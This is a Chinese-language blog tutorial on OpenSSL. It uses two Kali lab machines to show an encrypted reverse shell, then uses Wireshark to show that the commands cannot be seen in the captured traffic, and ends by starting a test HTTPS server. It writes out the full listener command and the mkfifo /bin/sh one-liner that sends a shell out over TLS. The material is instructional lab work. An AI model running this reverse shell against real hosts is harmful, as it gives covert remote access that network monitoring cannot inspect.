目录
1、OpenSSL 简介
2、使用 OpenSSL 反弹加密 shell
wireshark%E6%8A%93%E5%8C%85%E9%AA%8C%E8%AF%81-toc" style="margin-left:0px;">3、使用wireshark抓包验证
4、搭建 HTTPS Server
1、OpenSSL 简介
OpenSSL 是一个强大的、商业级的、功能齐全的开源工具包,用于 TLS(以前称为 SSL)、DTLS 和 QUIC(目前仅限客户端)协议,协议实现基于全功能通用加密库,也可以单独使用,还包括一个加密模块经过验证,符合 FIPS 标准,是一个安全套接字层密码库,囊括主要的密码算法、常用密钥、证书封装管理功能,主要用于实现ssl协议。
https://img-blog.csdnimg.cn/direct/12ce0e1141724888b8e784acb3c85e36.png" width="568" />
2、使用 OpenSSL 反弹加密 shell
以 Linux 环境为例,测试主机为两台 kali
kali A 的IP为:192.168.249.128
kali B 的IP为:192.168.249.132
假设我们从 A 主机反弹 shell 到 B 主机
首先我们需要在B主机上使用 OpenSSL 生成自签名证书,证书有效期为一年
执行如下命令:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
这里我新建了一个目录 test 便于观察生成的文件
https://img-blog.csdnimg.cn/direct/f71c206c43754e6db6cfa9ea90e85eb6.png" width="1200" />
生成过程中会询问我们一些信息,都可以不用填写直接回车
https://img-blog.csdnimg.cn/direct/55e8c535972f4400affd357d382b716e.png" width="1200" />
ls可以看到生成了两个文件:cert.pem 和 key.pem
https://img-blog.csdnimg.cn/direct/d30eb2eea2d74355814d34ea72662e22.png" width="868" />
利用生成的自签名证书(cert.pem和key.pem )
在 B 主机上使用 OpenSSL 开启端口监听,这里使用 1337 端口启动一个 SSL/TLS server
执行如下命令:
openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
https://img-blog.csdnimg.cn/direct/09958ca91c3646209e1ccf5255bbf4ec.png" width="1058" />
此时在主机 A 执行如下命令,IP 为主机 B 的 IP:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.249.132:1337 > /tmp/s; rm /tmp/s
https://img-blog.csdnimg.cn/direct/177f87289ab3410ab673da2eb73cdffd.png" width="1200" />
此时观察主机 B
反弹shell成功
https://img-blog.csdnimg.cn/direct/d320d024f73a4726bf3ba489ad67d594.png" width="1190" />
执行一些命令试试
https://img-blog.csdnimg.cn/direct/c3cb201e427a45d193beb6dc351aa382.png" width="1200" />
wireshark%E6%8A%93%E5%8C%85%E9%AA%8C%E8%AF%81">3、使用wireshark抓包验证
进入eth0,开启抓包
https://img-blog.csdnimg.cn/direct/fb939f3d5a6f46de971961ccdff5c90f.png" width="1200" />
在主机 B 执行一些命令(我这里执行的是ls、whoami、ifconfig)
https://img-blog.csdnimg.cn/direct/982c607fbc794574a824c282fad1887f.png" width="1200" />
观察wireshark抓包内容
无敏感信息泄露
https://img-blog.csdnimg.cn/direct/398e33ca49b842e7b93276d031cd89a2.png" width="1200" />
追踪TCP流
看不出什么
https://img-blog.csdnimg.cn/direct/4d5c6adfe9b8463ead441a7a221c9802.png" width="1200" />
追踪TLS流
看不到任何内容
https://img-blog.csdnimg.cn/direct/7123350c52454408a022203d73a85c69.png" width="1200" />
主机 A 和主机 B 之间在使用 TLS1.2 协议进行加密通信,因此无法看到执行的命令和返回信息。
4、搭建 HTTPS Server
我们也可以使用生成的自签名证书(cert.pem和key.pem )搭建 HTTPS Server )
命令如下:
openssl s_server -key key.pem -cert cert.pem -accept 44444 -WWW
在 44444 端口启动一个 HTTPS 服务
(这里做了一个首页文件index.html)
https://img-blog.csdnimg.cn/direct/975882da13b345cabce3052823d35c4f.png" width="1155" />
可以正常访问到,并且使用的是https
https://img-blog.csdnimg.cn/direct/ca4b7a18c3374beeba024b600985db3c.png" width="697" />